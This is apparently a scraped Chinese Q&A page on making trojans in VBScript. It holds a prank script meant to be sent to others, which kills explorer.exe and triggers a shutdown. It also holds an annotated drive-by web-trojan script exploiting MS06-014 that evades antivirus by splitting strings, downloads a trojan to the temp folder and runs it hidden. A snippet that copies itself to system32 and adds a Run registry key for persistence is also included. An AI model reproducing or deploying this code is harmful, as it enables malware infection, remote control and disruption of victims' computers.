木马程序编程_用vbs做木马程序

怎么用VBScript做一个可以破坏系统的病毒？

这个很难，几乎不可能

1、VBScript只能运行在IE浏览器中，即使做成VBS可独立运行的文件，也无法完全脱离IE浏览器；

2、VBScript是脚本程序，除了要受IE浏览器的安全机制约束，还要受其他很多限制，如果电脑系统中存在阶级，那么VBScript就是最底层的贫民，是屌丝中的屌丝；

3、360这类的安全软件对VBScript这类脚本程序一向严查、毫不手软的；

4、即使以上这些都不算事，一个软件要想破坏系统也绝非易事，也不知你说的破坏系统究竟是指破坏硬件系统还是软件系统，前者是不可能的，后者在几乎每台电脑都装了360或电脑管家的今天也几乎是不可能的；

5、即使以上这些都能做到，你还要求简单一些，那就只有上帝知道了，前提是上帝也懂编程。

谁知道怎么用vbs写不能开机的病毒，给个代码。就是一开就关机的病毒。好了我给分

新建一个TXT文件，打开，把整人代码放进去，保存。然后把文件扩展名改成.VBS，发送给别人，运行，就能整人了。

比如：

gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)

set s=createobject("wscript.shell")

wscript.sleep 1000

msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"

wscript.sleep 1000

wscript.sleep 1000*100

msgbox "windows发现一重要更新，将自动下载。"

wscript.sleep 3000

msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno

wscript.sleep 1000

msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"

msgbox "是否阻止其安装？",vbyesno

wscript.sleep 3000

msgbox "阻止失败！请检查防火墙是否开启！"

wscript.sleep 5000

msgbox "正在尝试强行删除…"

wscript.sleep 5000

msgbox "失败！"

wscript.sleep 5000

msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"

wscript.sleep 10000

s.sendkeys "% n"

s.run "taskkill /im .exe"

s.sendkeys "% n"

s.run "taskkill /im explorer.exe /f"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

msgbox "你好啊！"

wscript.sleep 3000

msgbox "很高兴见到你！"

wscript.sleep 3000

msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"

wscript.sleep 3000

msgbox "我控制你的电脑了！"

wscript.sleep 3000

msgbox "不信？那我给你关机看看~"

s.run "shutdown -r -t 120"

msgbox "信了吧！"

msgbox "帮你解除关机……"

s.run "shutdown -a"

msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"

s.run "notepad"

wscript.sleep 3000

s.sendkeys "Hello, I'm sorry I control your computer,"

wscript.sleep 3000

s.sendkeys " but the virus is false in, "

wscript.sleep 3000

s.sendkeys "only a joke, "

wscript.sleep 3000

s.sendkeys "please rest assured! "

wscript.sleep 3000

s.sendkeys "I no longer next "

wscript.sleep 3000

s.sendkeys "time so the whole you!"

wscript.sleep 3000

s.sendkeys" Goodbye!"

s.sendkeys"{enter}"

s.sendkeys"END"

wscript.sleep 1000

s.sendkeys"%{F4}"

msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"

s.run "explorer"

这个整人程序，既不会关机，也不会对电脑有伤害，就是有点烦。

VBScript(Microsoft Visual Basic Script Editon).，微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言。进一步解释一下, Microsoft Visual Basic是微软公司出品的一套可视化编程工具, 语法基于Basic. 脚本语言, 就是不编译成二进制文件, 直接由宿主(host)解释源代码并执行, 简单点说就是写的程序不需要编译成.exe,，而是直接给用户发送.vbs的源程序, 用户就能执行了。

如何用VBS脚本上传自己的木马

木马（Trojan）,也称木马病毒，是指通过特定的程序（木马程序）来控制另一台计算机。木马通常有两个可执行程序：一个是控制端，另一个是被控制端。木马这个名字来源于古希腊传说（荷马史诗中木马计的故事，Trojan一词的特洛伊木马本意是特洛伊的，即代指特洛伊木马，也就是木马计的故事）。“木马”程序是目前比较流行的病毒文件，与一般的病毒不同，它不会自我繁殖，也并不“刻意”地去感染其他文件，它通过将自身伪装吸引用户下载执行，向施种木马者提供打开被种主机的门户，使施种者可以任意毁坏、窃取被种者的文件，甚至远程操控被种主机。木马病毒的产生严重危害着现代网络的安全运行。黑客是一个中文词语，皆源自英文hacker，随着灰鸽子的出现，灰鸽子成为了很多假借黑客名义控制他人电脑的黑客技术，于是出现了“骇客”与"黑客"分家。2012年电影频道节目中心出品的电影《骇客（Hacker)》也已经开始使用骇客一词，显示出中文使用习惯的趋同。实际上，黑客（或骇客）与英文原文Hacker、Cracker等含义不能够达到完全对译，这是中英文语言词汇各自发展中形成的差异。Hacker一词，最初曾指热心于计算机技术、水平高超的电脑专家，尤其是程序设计人员，逐渐区分为白帽、灰帽、黑帽等，其中黑帽（blackhat）实际就是cracker。在媒体报道中，黑客一词常指那些软件骇客（softwarecracker），而与黑客（黑帽子）相对的则是白帽子。

求详解VBscript代码（网页木马） 专业进

“'”后是我添加的注释，应该还好理解

on error resume next '开启错误陷阱

dl = "" '定义“dl”为木马下载地址

Set df = document.createElement("object") '建立子元素

df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" 声明网马的clsid，这个是ms06014的

str="Microsoft.XMLHTTP" 使用XMLhttp对象

Set x = df.CreateObject(str,"") '用Adodb.Stream执行文件操作

a1="Ado" '下面这三个的作用是拆分字符串“Adodb.Stream”，躲过一些杀毒软件查杀

a2="db."

a3="Str"

a4="eam"

str1=a1a2a3a4 '合并字符串“Adodb.Stream”

str5=str1 '转移变量str1到str5

set S = df.createobject(str5,"") '执行文件操作

S.type = 1

str6="GET" '使用get方式获取木马文件

x.Open str6, dl, False '根据木马地址获取木马文件

x.Send

fname1="g0ld.com" '定义木马的文件名"g0ld.com"

set F = df.createobject("Scripting.FileSystemObject","") '用FileSystemObjec执行文件操作，这次是写入文件

set tmp = F.GetSpecialFolder(2) '获取临时文件夹路径

fname1= F.BuildPath(tmp,fname1) '下面这些是向临时文件夹中写入木马

S.open

S.write x.responseBody

S.savetofile fname1,2 '保存木马文件

S.close '关闭连接

set Q = df.createobject("Shell.Application","") '用Shell.Application运行木马文件

Q.ShellExecute fname1,"","","open",0 '以隐藏方式运行木马

如何使用VBS撰写一个木马

这个嘛，前面二个比较简单

set fso=createobject(scripting.filesystemobject)

set dir=fso.getspecialfolder(1)‘获得Windows\system32系统文件夹

fso.getfile(wscript.scriptfullname).copy(dir"\vbs.vbs")‘将自己复制到系统文件夹，并命名为vbs

set wshshell=createobject(wscript.shell)

wshshell.regwrite"HKLM\software\microsoft\windows\currentversion\run\vbs",dir"\vbs.vbs","vbs.vbs"'加入启动项